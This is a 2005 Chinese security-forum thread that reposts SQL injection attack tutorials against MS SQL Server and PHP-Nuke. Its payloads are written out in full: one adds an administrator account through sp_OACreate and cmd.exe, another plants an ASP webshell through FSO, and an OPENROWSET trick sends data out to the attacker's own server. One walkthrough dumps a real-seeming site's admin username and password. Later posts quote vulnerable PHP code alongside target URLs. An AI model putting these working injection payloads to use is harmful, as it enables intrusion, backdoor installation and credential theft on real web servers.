飘云阁

 找回密码
 加入我们

QQ登录

只需一步,快速开始

查看: 2567|回复: 4

SQL注入漏洞攻防必杀技之二

[复制链接]

该用户从未签到

发表于 2005-4-12 00:12:24 | 显示全部楼层 |阅读模式
SQL注入漏洞攻防必杀技之二                                    源自:军团网络集中采集

榨干MS SQL Server 最后一滴血

风云变换的网络,网络安全让人们不能不关注它。数据库,让我们不得不想起强大的ORACLE,MS SQL。微软的漏洞最多,今天就用SQL INJECTION来让MS SQL为我们好好的工作。

  以下(使用一知名网站作为测试点),相信大家对SQL爆库,爆表,爆字段都已掌握,在这里就不多说这方面了。

  MS SQL内置函数介绍:

  @@VERSION 获得Windows的版本号,MS SQL的版本号,补丁。 User_name() 得到当前系统的连接用户 Db_name() 得到当前连接的数据库 HOST_NAME() 得到当前主机的名称

  这些信息有助我们对系统进行简单的了解

  好,下面我们就开始吧!

  语句:

http://www.xxx.com/list.asp?classid=1'

  返回信息:

Microsoft OLE DB Provider for SQL Server 错误 '80040e14' 字符串 ' Order By Id DESC' 之前有未闭合的引号。 /list.asp,行290  

  从这里未闭合的引号(“’”),我们可以确定存在SQL INJECTION。发现在漏洞当然接着走了,利用以上介绍的函数为我们工作了:

  语句:

http://www.xxx.com/list.asp?classid=1 and 0<>(select @@version)

  返回:

Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 转换为数据类型为 int 的列时发生语法错误。 /list.asp,行290  

  相关的信息出来了,MS SERVER ADVANCED SERVER 2000+SP4, SQL 2000+SP3,从MS SQL SERVER 后面的8.00.760可看出是SP3补丁。看了服务器的信息,接下应该了解数据库的权限了:

  语句:

http://www.xxx.com/list.asp?classid=1 and user_name()=’dbo’

  返回: 正常返回的信息

  确定是权限是DBO,从表面DBO权限的连接用户经常是涉及SYSADMIN服务器角色成员。说明数据库服务器角色成员组默认是在每个数据库增加一个DBO用户。

  返回原理根1=1,1=2相似..这里只是权限测试,我们也把它爆出来看看:

  语句:

http://www.xxx.com/list.asp?classid=1 and 0<>(select user_name())

  返回:

Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值 'dbo' 转换为数据类型为 int 的列时发生语法错误。 /list.asp,行290  

  说明连接数据库的用户权限很高,可以确定是服务器角色组中的成员。

  语句:http://www.xxx.com/list.asp?classid=1 and 0<>(select db_name())—返回:Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值 'GameIMGSys' 转换为数据类型为 int 的列时发生语法错误。 /list.asp,行290

  这样就可以爆出当前的数据库。得到这么高权限的数据库连接成员,我们当然想直接得到WEBSHELL,或是直接拿到NT ADMIN。NT ADMIN取决于当前服务器的配置,如果配置不合理的服务器,我们要直接拿NT ADMIN,拿NT ADMIN就要用到:

  MSSQL内置存储过程:

  sp_OACreate (通过它,危害很得更大,但是需要有SYSADMINS权限才可能使用) sp_OAGetErrorInfo sp_OAGetProperty sp_OAMethod sp_OASetProperty sp_SetPropertysp_OAStop

  由于MS SQL一次可以执行多语句,使得我们有机会使用更多的语句。

  语句:

http://www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user cntest chinatest /add'

  正常返回。(提示:如果主机上shell存在的话那将在服务器上创建一个cntest的用户)

  创建用户了,语句后再加个net localgroup administrators cntest /add加到管理组中。 如果对方的机子开着3389端口,或IPC的话,那接下来的事,就不用我多说了。

  遇到专业型主机,只开一个80端口,那应该怎么办呢?当然,我们还是可能拿到WEBSHELL,再慢慢渗透的。

  由于权限高,我们可能先建表,写入ASP木马的数据再通过MAKEWEBTASK,得到WEBSEHLL.手工写入的程序太过于繁锁,上传WEBSHELL最大的问题还是网页目录,现在网上已经有现成的工具通过BACKUP,和MASKWEBTASK的工具得到WEBSHELL了。以下推荐,获取网页路径(通过存储过程达到对注册表的读取):

  利用内置存储过程 xp_regread(读取注册表键值,权限public):

  语句:

http://www.xxx.com/list.asp?classid=1;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test)  

  IIS的默认路径的在注册表中HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\

  利用爆字段将数据库的值读出来:

  语句:

http://www.xxx.com/list.asp?classid=1 and 0<>(select top 1 paths from newtable)

  返回:

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 'E:\www,,201' 转换为数据类型为 int 的列时发生语法错误。  

  这说明网页目录在E:\www,接下来也可以利用FSO直接写入ASP木马(提示必须拥用SYSADMIN权限才可使用FSO和FSO开入的前提下) :

  语句:

http://www.xxx.com/list.asp?class=1;
declare%20@o%20int,%20@f%20int,%20@t%20int,%20@ret%20int%20exec%20sp_oacreate%20'scripting.filesystemobject',
%20@o%20out%20exec%20sp_oamethod%20@o,%20'createtextfile',%20@f%20out,%20'e:\www\test.asp',
1%20exec%20@ret%20=%20sp_oamethod%20@f,%20'writeline',%20NULL,%20'On Error Resume Next'

  在E:\WWW下创建一个test.asp并写入On Error Resume next语句:

http://www.xxx.com/list.asp?classid=1;
declare%20@o%20int,%20@f%20int,%20@t%20int,%20@ret%20int%20exec%20sp_oacreate%20'scripting.filesystemobject',
%20@o%20out%20exec%20sp_oamethod%20@o,%20'opentextfile',
%20@f%20out,%20'e:\www\test.asp',8%20exec%20@ret%20=%20sp_oamethod%20@f,%20'writeline',%20NULL,%20'asp horse '

  在E:\WWW\test.asp增加一行记录,记录为asp horse, 整个完整木马可能这样写入。(%百分号要用%25替代写入)。如果得不到网页目录,怎么办呢?前提你要猜到网站是否使用默认WEB,或者使用域名作为WEB。

declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,’ cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e:\"’  

  在默认的WEB站点下创建一个虚拟目录E,指向E:盘下。

declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,’ cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse’

  给虚拟目录e加上浏览属性不错吧。给自己开虚拟服务。想那些网页目录路径,头都快破了。这下给自己一个天开眼了。那传WEBSHELL利用MS SQL为我们的工作告了一段落了,接下来工作应该由你来了。
PYG19周年生日快乐!

该用户从未签到

 楼主| 发表于 2005-4-12 00:13:16 | 显示全部楼层
SQL注入攻击常见方法和技巧

知己知披 方能百战百胜;“黑客”们采用的攻击方法雷同,下面是我挑选的一些具有代表性的攻击方法,分析这些方法有助于程序员们编写更少漏洞的程序。

跨站式SQL注入数据库攻击和防范技巧

前一阶段,在尝试攻击一个网站的时候,发现对方的系统已经屏蔽了错误信息,用的也是普通的帐号连接的数据库,系统也是打了全部的补丁这样要攻击注入是比较麻烦的。因此我自己搞了一种“跨站式SQL注入”。

  思路如下,既然你不显示错误信息,我能不能让你显示到别的地方呢?让SQL把错误写入别的地方。

  既然是研究阶段,我们最好不要直接注入网站,而是首先用查询分析器来分析这个方法。

  第一个想法:   

  SQL可以连接外部的数据库。   

  于是,首先用查询分析器,登陆到我自己的一个虚拟主机的数据库(这样的权限比较小),然后在本地启动一个SQL server,并且用SA的身份在SQL事件探测器里边建立一个跟踪。  

  尝试 sp_addlinkedserver 如果成功,那就和操作本地数据库一样了。  

  提示必须是sysadmin的身份。。失败。 

  换一个思路:

  只要你SQL敢发命令过来,我不管执行的结果怎么样,只要接获到命令就可以了。  

  于是考虑到一个权限要求不是很高的命令:OPENROWSET 来跨服务器查询。这个命令作用是把一个数据库命令发给远程的数据库,取回来结果集。。于是就启动“事件跟踪”监视发过来的命令。  

  第一次尝试,首先还是执行 create table [dbo].[laokai]([cha8][char](255))--建立一个表。随后是把路径写入数据库,这里我考虑,直接生成一个跨库的脚本算了。好方便执行。。

  DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into laokai (cha8) values('SELECT a.* FROM OPENROWSET(''SQLOLEDB'',''你的IP'';''sa'';''密码'', ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result + ''''''')AS a');--  

  这段代码什么意思哪?就是把网站的路径信息写入数据库。也不是单纯的写,写得同时构造一个SQL语句,这个语句的执行结果是给laokai这个数据库的cha8字段增加了这样的一行记录。  

SELECT a.* FROM OPENROWSET('SQLOLEDB','你的IP';'sa';'密码', 'SELECT * FROM pubs.dbo.authors where au_fname=''C:\Inetpub,,1''')AS a  
  
  其中的C:\Inetpub,,1就是注册表记录的根目录,最后要做的是:

 DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);--  
 
  这样就等于执行了

SELECT a.* FROM OPENROWSET('SQLOLEDB','你的IP';'sa';'密码', 'SELECT * FROM pubs.dbo.authors where au_fname=''C:\Inetpub,,1''')AS a  

  这一条语句,同时你会在事件探测器那边会显示  

SELECT * FROM pubs.dbo.authors where au_fname='C:\Inetpub,,1'  
   
  其中的C:\Inetpub 就是网站的路径。。调试成功。。  

  现在进入实战阶段。某网站屏蔽了全部出错信息。但是我们可以确定它存在注入点 a.asp?id=1,怎么做呢?

a.asp?id=1;create table [dbo].[laokai]([cha8][char](255))--     
  
  返回正常,我们建立了一个叫laokai的表,有个字段叫cha8,然后:

a.asp?id=1;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into laokai (cha8) values('SELECT a.* FROM OPENROWSET(''SQLOLEDB'',''你的IP'';''sa'';''密码'', ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result + ''''''')AS a');--  
  
  出错了......出错信息被屏蔽了......怎么办?经过研究发现是里边的某些字符例如 +号需要转化成16进制,或许还有别的地方要转化......怎么办啊?

  于是写了一个ASCII转化16进制的工具,把全部的代码转化一下,然后注入就OK了。(工具的下载地址 http://www.cha8.com/ascii.rar 麻烦放入光盘,不要让他们下,我的服务器受不了),最后自然是执行上述语句了。
   a.asp?id=1;%44%45%43%4C%41%52%45%20%40%72%65%73%75%6C%74%20%76%61%72%63%68%61%72%28%32%35%35%29%20%65%78%65%63%20%
6D%61%73%74%65%72%2E%64%62%6F%2E%78%70%5F%72%65%67%72%65%61%64%20%27%48%4B%45%59%5F%4C%4F%43%41%4C%5F%4D%41%43%48%
49%4E%45%27%2C%27%53%59%53%54%45%4D%5C%43%4F%4E%54%52%4F%4C%53%65%74%30%30%31%5C%53%65%72%76%69%63%65%73%5C%57%33%
53%56%43%5C%50%61%72%61%6D%65%74%65%72%73%5C%56%69%72%74%75%61%6C%20%52%6F%6F%74%73%27%2C%20%27%2F%27%20%2C%40%72%
65%73%75%6C%74%20%6F%75%74%70%75%74%20%69%6E%73%65%72%74%20%69%6E%74%6F%20%6C%61%6F%6B%61%69%20%28%63%68%61%38%29%
20%76%61%6C%75%65%73%28%27%53%45%4C%45%43%54%20%61%2E%2A%20%46%52%4F%4D%20%4F%50%45%4E%52%4F%57%53%45%54%28%27%27%
53%51%4C%4F%4C%45%44%42%27%27%2C%27%27%3F%3F%49%50%27%27%3B%27%27%73%61%27%27%3B%27%27%3F%3F%27%27%2C%20%27%27%53%
45%4C%45%43%54%20%2A%20%46%52%4F%4D%20%70%75%62%73%2E%64%62%6F%2E%61%75%74%68%6F%72%73%20%77%68%65%72%65%20%61%75%
5F%66%6E%61%6D%65%3d/33.shtml' target='_blank' class='article'>3D%27%27%27%27%27%20%2B%20%40%72%65%73%75%6C%74%20%
2B%20%27%27%27%27%27%27%27%29%41%53%20%61%27%29%3B%2D%2D%20  

  执行成功。

a.asp?id=1;DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);--  

  网站那边显示还是正常页面。。但是你这边的事件探测器那边会显示:


 
  注入成功。。后边知道了绝对路径,如何添加木马的文章就很多了。。这里就不再描述了。。

  最后说明一下:这只是一个新型的攻击思路的讲解,让大家通过另外一种方式把数据库里边的数据取出来。。

  ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result + ''''''' 部分,修改成insert把数据加入数据库也应该没有问题。。甚至单独保留 @result 都没问题。。不过这样那边会出错。这边就留下一个exec 'C:\Inetpub,,1'
PYG19周年生日快乐!

该用户从未签到

 楼主| 发表于 2005-4-12 00:15:42 | 显示全部楼层
SQL Injection这个话题越来越热了,很多的论坛和hack站点都或多或少地在谈论这个问题,当然也有很多革命前辈写了N多的关于这方面的文章,所利用的也是许多知名的程序,比如动网,尘缘雅境,而我们也可以拿到免费的程序来看其中的漏洞和数据库的结构,从中来达到注入的目的,不过如果是别人自己写的程序,那么我们就不知道他的源代码,更不知道他的数据库结构(数据表名和其中的字段名),就算有个变量未过滤提交到数据库去,我们也是无从对其下手的,只能利用通过猜解他的数据库结构来构造相应的SQL语句,那么是不是就到此为止,能猜到多少是多少呢?没有做不到的,只有想不到的,我相信这篇文章对研究SQL Injection朋友来说,应该会有所启发。

  一、发现漏洞,常规注入

  最近帮我们的站增加音乐,虽然本地的电信的音乐资源库非常丰富,但是缺少有关歌手和专辑的资料,所以到网上去闲逛找点有用的图片和歌手简介,通过百度搜索到了一个mp3的音乐超市,里面的资料还是比较丰富的,拷贝的同时顺手在他的Specialid=1817后面加了一个(单引号),我突然眼前一亮:



Microsoft OLE DB Provider for SQL Server 错误 80040e14
字符串 之前有未闭合的引号。
/showspecial.asp,行13  



  Specialid没有过滤掉单引号就直接用到SQL语句中去了,而且是SQL SERVER版本的,漏洞的可利用性极大,可不能就此放过这么好的练兵机会,接着换;(分号)提交进去,居然页面正常出来了,说明该变量也没有过滤掉;号,到这里,我们就可以对此进行SQL渗透了,按照常规的步骤:

  1、提交http://********/showspecial.asp?Specialid=1817;use master;--

  注:--的作用是注释掉程序中后面的SQL语句,以防对我们构造的语句有影响,比如order by..

  出现



Microsoft OLE DB Provider for SQL Server 错误 80040e21
多步 OLE DB 操作产生错误。如果可能,请检查每个 OLE DB 状态值。没有工作被完成。
/showspecial.asp,行13  



  想在他的数据库里增加一个管理员是不可能了,我们再换一种方法

  2、提交http://********/showspecial.asp?Specialid=1817 and 1<>(select count(id) from [user])

  这一句的意思是猜猜看是不是存在一个名为user的表和他里面有没有id这个字段

  一般来说:

  如果不存在该表的话,会出现



Microsoft OLE DB Provider for SQL Server 错误 80040e37
对象名 user 无效。
/showspecial.asp,行13  



  不存在该字段的话,会出现



Microsoft OLE DB Provider for SQL Server 错误 80040e14
列名 id 无效。
/showspecial.asp,行13  



  注:一般来说,第一步是猜一些公共的表,这里所指的公共表的意思是大多数的程序员在写设计数据库结构的时候会用到的常用的表和字段,比如新闻的news表中的编号字段id,标题字段title,用户表user或者user_data中的编号字段id,用户名字段username,当然你也可以在该站点的登陆界面看他的原代码,找到用户名和密码的表单的name值,那个也经常会是表字段名的真实值,如<INPUT type=text name=username size=15>

  很幸运,果然存在user表和id字段

  3、通过提交http://********/showspecial.asp?Specialid=1817 and 1<>(select count(username) from [user])

  这里的username是根据登陆框的表单名去猜的,恰好存在该字段。于是在该站注册了一个用户名为rrrrr的用户,作为注入的平台,得到我的用户名的id值103534

  4、继续猜下去,这里我还是利用的他程序中的表单名,提交:



http://********/showspecial.asp?Specialid=1817 and 1<>(select count(email) from [user])



  也存在,好了,到这里,我们的平台已经搭建好了。

  二、深入研究,让SQL自己招数据库结构

  很多时候,我们只能猜到大家比较熟用的表名,如果是非原程序公开下载的,我们很猜到他的真实数据库结构,有时候猜半天都猜不到,令人很郁闷,那么该如何拿到他的表结构呢?我们知道SQL SERVER的每一个数据库都会有用户表和系统表,根据SQL SERVER的联机帮助描述是系统表sysobjects:在数据库内创建的每个对象(约束、默认值、日志、规则、存储过程等)在表中占一行,那么也就是说当前数据库的表名都会在该表内有存在,(对象名 admin 无效。大家可以看到上面出现的报错把表名描述成对象)。

  我们要用的是其中的3个,描述如下(详细的见SQL SERVER的联机帮助):

   name 数据表的名字
   xtype 数据表的类型 u为用户表
   id 数据表的对象标志
   status 保留字段,用户表一般都是大于0的

  在查询分析器执行以下SQL语句(以我本地的数据库为例子)



select top 1 name from sysobjects where xtype=u and status>0



  我们马上就可以得到该数据库下用户表的第一个表名gallery



select top 1 id from sysobjects where xtype=u and name=gallery



  我们马上就可以得到该数据库下用户表的第一个表名gallery的对象标志2099048



select top 1 name from sysobjects where xtype=u and id>2099048



  再得到第2个表名gb_data,这里用到的是id>2099048,因为对象标志id是根据由小到大排列的。

  以此类推,我们可以得到所有的用户表的名字了

  接下来,我们要根据得到的表名取他的字段名,这里我们用到的是系统自带的2个函数col_name()和object_id(),在查询分析器执行以下SQL语句(以我本地的数据库为例子):



select top 1 col_name(object_id(gallery),1) from gallery



  得到gallery表的第一个字段名为id。

  注:

   col_name()的语法
   COL_NAME ( table_id , column_id )

  参数

   table_id:包含数据库列的表的标识号。table_id 属于 int 类型。
   column_id:列的标识号。column_id 参数属于 int 类型。

  其中我们用object_id()函数来得到该表的标识号,1、2、3。。表示该表的第1个、第2个、第3个。。字段的标识号

  以此类推得到该表所有的字段名称

  三、再次渗透攻击

  经过上面2步的热身,接下来我们该利用建立好的平台实际操作演练一下了

  依然是那个页,我们提交

http://******/showspecial.asp?Specialid=1817;update[user] set email=(select top 1 name from sysobjects where xtype=u and status>0) where id=103534;--

  服务器返回

ADODB.Recordset 错误 800a0cb3

  当前记录集不支持更新。这可能是提供程序的限制,也可能是选定锁定类型的限制。

/showspecial.asp,行19

  出师不利,可能该页记录集打开方式是只读,我们再换一个页

  找到http://******/ShowSinger.asp?Classid=34&SClassid=35的SClassid同样存在问题,于是提交
http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 name from sysobjects where xtype=u and status>0) where id=103534;--

  把第一个数据表的名字更新到我的资料的email项里去,得到第一个表名为:lmuser

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 id from sysobjects where xtype=u and name=lmuser) where id=103534;--

  得到第一个表lmuser的id标识号为:363148339

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 name from sysobjects where xtype=u and id>363148339) where id=103534;--

  得到第二个表名为:ad。这里我们利用的是数据表的对象标志id是升序排列的特点,以此类推继续取……(由于篇幅问题,中间省略n步),最后我们得到了所有的表名,发现其中有个表admin,哈,很可能就是管理员的列表了。

  好,接下来我们就取该表的字段名

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id(admin),1) from admin) where id=103534;--

  得到第1个字段为:id

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id(admin),2) from admin) where id=103534;--

  得到第2个字段为:username

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id(admin),3) from admin) where id=103534;--

  得到第2个字段为:password

  到此,管理员列表的3个关键字段已经给我们拿到,接下来要拿用户名和密码就比较省力了,首先拿管理员的id值,这个比较简单,我就不再详细说了。

  我们拿到的id值是44

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 username from admin where id=44) where id=103534;--

  将该管理员的用户名更新到email项 ,拿到的username为:gscdjmp3

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 password from admin where id=44) where id=103534;--

  将该管理员的密码更新到email项,拿到的password为:XZDC9212CDJ

  怎么样,拿到密码了吧?

  四、总结

  在我们对一个不知道原代码的有SQL Iinjection漏洞的程序进行注入的时候,往往很难猜到作者设置的数据库结构,只能通过编写程序时的经验来猜几个比较常用的表和字段,这样给注入带来了很多的麻烦,会因为猜不到结构而放弃,这时候大家不妨试试这个方法,或许对你有所帮助,这里我们通过更新我们的一个注册用户的信息来拿到结果,如果是新闻系统的话,可以通过更新到某个新闻的title来拿结果。
最后,值得提出的是,请大家不要拿该方法去恶意攻击其他的程序,谢谢!
PYG19周年生日快乐!

该用户从未签到

 楼主| 发表于 2005-4-12 00:17:32 | 显示全部楼层
SQL的Members_List、Your_Account模块中存在注入缺陷。如果magic_quotes_gpc选项为“OFF”,攻击者使用下列攻击方法及代码能利用该缺陷:

  PHP代码/位置:

?/modules/Members_List/index.php :
------------------------------------------------------------------------
[...]
$count = "SELECT COUNT(uid) AS total FROM ".$user_prefix."_users ";
$select = "select uid, name, uname, femail, url from
".$user_prefix."_users ";
$where = "where uname != Anonymous ";

if ( ( $letter != "Other" ) AND ( $letter != "All" ) ) {
$where .= "AND uname like ".$letter."% ";

} else if ( ( $letter == "Other" ) AND ( $letter != "All" ) ) {
$where .= "AND uname REGEXP \"^\[1-9]\" ";

} else {
$where .= "";
}
$sort = "order by $sortby";
$limit = " ASC LIMIT ".$min.", ".$max;

$count_result = sql_query($count.$where, $dbi);
$num_rows_per_order = mysql_result($count_result,0,0);

$result = sql_query($select.$where.$sort.$limit, $dbi) or die();


echo "<br>";
if ( $letter != "front" ) {
echo "<table width=\"100%\" border=\"0\"
cellspacing=\"1\"><tr>\n";
echo "<td BGCOLOR=\"$bgcolor4\" align=\"center\"><font
color=\"$textcolor2\"><b>"._NICKNAME."</b></font></td>\n";
echo "<td BGCOLOR=\"$bgcolor4\" align=\"center\"><font
color=\"$textcolor2\"><b>"._REALNAME."</b></font></td>\n";
echo "<td BGCOLOR=\"$bgcolor4\" align=\"center\"><font
color=\"$textcolor2\"><b>"._EMAIL."</b></font></td>\n";
echo "<td BGCOLOR=\"$bgcolor4\" align=\"center\"><font
color=\"$textcolor2\"><b>"._URL."</b></font></td>\n";
$cols = 4;
[...]
------------------------------------------------------------------------

/modules/Your_Account/index.php :
switch($op) {
[...]
case "mailpasswd":
mail_password($uname, $code);
break;

case "userinfo":
userinfo($uname, $bypass, $hid, $url);
break;

case "login":
login($uname, $pass);
break;
[...]
case "saveuser":
saveuser($uid, $realname, $uname, $email, $femail, $url, $pass, $vpass,
$bio, $user_avatar, $user_icq, $user_occ, $user_from, $user_intrest,
$user_sig, $user_aim, $user_yim, $user_msnm, $attach, $newsletter);
break;
[...]
case "savehome":
savehome($uid, $uname, $storynum, $ublockon, $ublock, $broadcast,
$popmeson);
break;

case "savetheme":
savetheme($uid, $theme);
break;
[...]
case "savecomm":
savecomm($uid, $uname, $umode, $uorder, $thold, $noscore, $commentmax);
break;
[...]
}
------------------------------------------------------------------------

/modules/Your_Account/index.php :
[...]
function saveuser($uid, $realname, $uname, $email, $femail, $url, $pass,
$vpass, $bio, $user_avatar, $user_icq, $user_occ, $user_from, $user_intrest,
$user_sig, $user_aim, $user_yim, $user_msnm, $attach, $newsletter) {
global $user, $Cookie, $userinfo, $EditedMessage, $user_prefix, $dbi,
$module_name;
Cookiedecode($user);
$check = $Cookie[1];
$check2 = $Cookie[2];
$result = sql_query("select uid, pass from ".$user_prefix."_users where
uname=$check", $dbi);
list($vuid, $ccpass) = sql_fetch_row($result, $dbi);
if (($uid == $vuid) AND ($check2 == $ccpass)) {
if (!eregi("http://";, $url)) {
$url = "http://$url";
}
if ((isset($pass)) && ("$pass" != "$vpass")) {
echo "<center>"._PASSDIFFERENT."</center>";
} elseif (($pass != "") && (strlen($pass) < $minpass)) {
echo "<center>"._YOUPASSMUSTBE." <b>$minpass</b>
"._CHARLONG."</center>";
} else {
if ($bio) { filter_text($bio); $bio = $EditedMessage; $bio =
FixQuotes($bio); }
if ($pass != "") {
Cookiedecode($user);
sql_query("LOCK TABLES ".$user_prefix."_users WRITE", $dbi);
$pass = md5($pass);
sql_query("update ".$user_prefix."_users set name=$realname,
email=$email, femail=$femail, url=$url, pass=$pass, bio=$bio ,
user_avatar=$user_avatar, user_icq=$user_icq, user_occ=$user_occ,
user_from=$user_from, user_intrest=$user_intrest, user_sig=$user_sig,
user_aim=$user_aim, user_yim=$user_yim, user_msnm=$user_msnm,
newsletter=$newsletter where uid=$uid", $dbi);
$result = sql_query("select uid, uname, pass, storynum, umode, uorder,
thold, noscore, ublockon, theme from ".$user_prefix."_users where
uname=$uname and pass=$pass", $dbi);
if(sql_num_rows($result, $dbi)==1) {
$userinfo = sql_fetch_array($result, $dbi);

doCookie($userinfo[uid],$userinfo[uname],$userinfo[pass],$userinfo[storynum],
$userinfo[umode],$userinfo[uorder],$userinfo[thold],$userinfo[noscore],$userinfo[ublockon],
$userinfo[theme],$userinfo[commentmax]);
} else {
echo "<center>"._SOMETHINGWRONG."</center><br>";
}
sql_query("UNLOCK TABLES", $dbi);
} else {
sql_query("update ".$user_prefix."_users set name=$realname,
email=$email, femail=$femail, url=$url, bio=$bio,
user_avatar=$user_avatar, user_icq=$user_icq, user_occ=$user_occ,
user_from=$user_from, user_intrest=$user_intrest, user_sig=$user_sig,
user_aim=$user_aim, user_yim=$user_yim, user_msnm=$user_msnm,
newsletter=$newsletter where uid=$uid", $dbi);
if ($attach) {
$a = 1;
} else {
$a = 0;
}
}
Header("Location: modules.php?name=$module_name");
}
}
}
[...]
function savehome($uid, $uname, $storynum, $ublockon, $ublock, $broadcast,
$popmeson) {
global $user, $Cookie, $userinfo, $user_prefix, $dbi, $module_name;
Cookiedecode($user);
$check = $Cookie[1];
$check2 = $Cookie[2];
$result = sql_query("select uid, pass from ".$user_prefix."_users where
uname=$check", $dbi);
list($vuid, $ccpass) = sql_fetch_row($result, $dbi);
if (($uid == $vuid) AND ($check2 == $ccpass)) {
if(isset($ublockon)) $ublockon=1; else $ublockon=0;
$ublock = FixQuotes($ublock);
sql_query("update ".$user_prefix."_users set storynum=$storynum,
ublockon=$ublockon, ublock=$ublock, broadcast=$broadcast,
popmeson=$popmeson where uid=$uid", $dbi);
getusrinfo($user);
doCookie($userinfo[uid],$userinfo[uname],$userinfo[pass],$userinfo[storynum],$userinfo[umode],
$userinfo[uorder],$userinfo[thold],$userinfo[noscore],$userinfo[ublockon],
$userinfo[theme],$userinfo[commentmax]);
Header("Location: modules.php?name=$module_name");
}
}

function savetheme($uid, $theme) {
global $user, $Cookie, $userinfo, $user_prefix, $dbi, $module_name;
Cookiedecode($user);
$check = $Cookie[1];
$check2 = $Cookie[2];
$result = sql_query("select uid, pass from ".$user_prefix."_users where
uname=$check", $dbi);
list($vuid, $ccpass) = sql_fetch_row($result, $dbi);
if (($uid == $vuid) AND ($check2 == $ccpass)) {
sql_query("update ".$user_prefix."_users set theme=$theme where
uid=$uid", $dbi);
getusrinfo($user);
doCookie($userinfo[uid],$userinfo[uname],$userinfo[pass],$userinfo[storynum],
$userinfo[umode],$userinfo[uorder],$userinfo[thold],$userinfo[noscore],$userinfo[ublockon],
$userinfo[theme],$userinfo[commentmax]);
Header("Location: modules.php?name=$module_name&theme=$theme");
}
}
[...]
function savecomm($uid, $uname, $umode, $uorder, $thold, $noscore,
$commentmax) {
global $user, $Cookie, $userinfo, $user_prefix, $dbi, $module_name;
Cookiedecode($user);
$check = $Cookie[1];
$check2 = $Cookie[2];
$result = sql_query("select uid, pass from ".$user_prefix."_users where
uname=$check", $dbi);
list($vuid, $ccpass) = sql_fetch_row($result, $dbi);
if (($uid == $vuid) AND ($check2 == $ccpass)) {
if(isset($noscore)) $noscore=1; else $noscore=0;
sql_query("update ".$user_prefix."_users set umode=$umode,
uorder=$uorder, thold=$thold, noscore=$noscore,
commentmax=$commentmax where uid=$uid", $dbi);
getusrinfo($user);
doCookie($userinfo[uid],$userinfo[uname],$userinfo[pass],
$userinfo[storynum],$userinfo[umode],$userinfo[uorder],$userinfo[thold],$userinfo[noscore],
$userinfo[ublockon],$userinfo[theme],$userinfo[commentmax]);
Header("Location: modules.php?name=$module_name");
}
}
[...]
------------------------------------------------------------------------

/modules/Your_Account/index.php :
[...]
function mail_password($uname, $code) {
global $sitename, $adminmail, $nukeurl, $user_prefix, $dbi,
$module_name;
$result = sql_query("select email, pass from ".$user_prefix."_users
where (uname=$uname)", $dbi);
if(!$result) {
include("header.php");
OpenTable();
echo "<center>"._SORRYNOUSERINFO."</center>";
CloseTable();
include("footer.php");
[...]
------------------------------------------------------------------------


------------------------------------------------------------------------
[...]
function userinfo($uname, $bypass=0, $hid=0, $url=0) {
global $user, $Cookie, $sitename, $prefix, $user_prefix, $dbi, $admin,
$broadcast_msg, $my_headlines, $module_name;
$result = sql_query("select uid, femail, url, bio, user_avatar,
user_icq, user_aim, user_yim, user_msnm, user_from, user_occ, user_intrest,
user_sig, pass, newsletter from ".$user_prefix."_users where
uname=$uname", $dbi);
$userinfo = sql_fetch_array($result, $dbi);
[...]
------------------------------------------------------------------------


------------------------------------------------------------------------
[...]
function login($uname, $pass) {
global $setinfo, $user_prefix, $dbi, $module_name;
$result = sql_query("select pass, uid, storynum, umode, uorder, thold,
noscore, ublockon, theme, commentmax from ".$user_prefix."_users where
uname=$uname", $dbi);
$setinfo = sql_fetch_array($result, $dbi);
[...]
}
[...]
------------------------------------------------------------
PYG19周年生日快乐!

该用户从未签到

 楼主| 发表于 2005-4-12 00:19:11 | 显示全部楼层
Members_List模块:

  - 显示用户:

http://[target]/modules.php?name=Members_List&letter=All&sortby=pass

  - 显示用户:

http://[target]/modules.php?name=Members_List&letter=All&sortby=uid

  - 显示moderators :

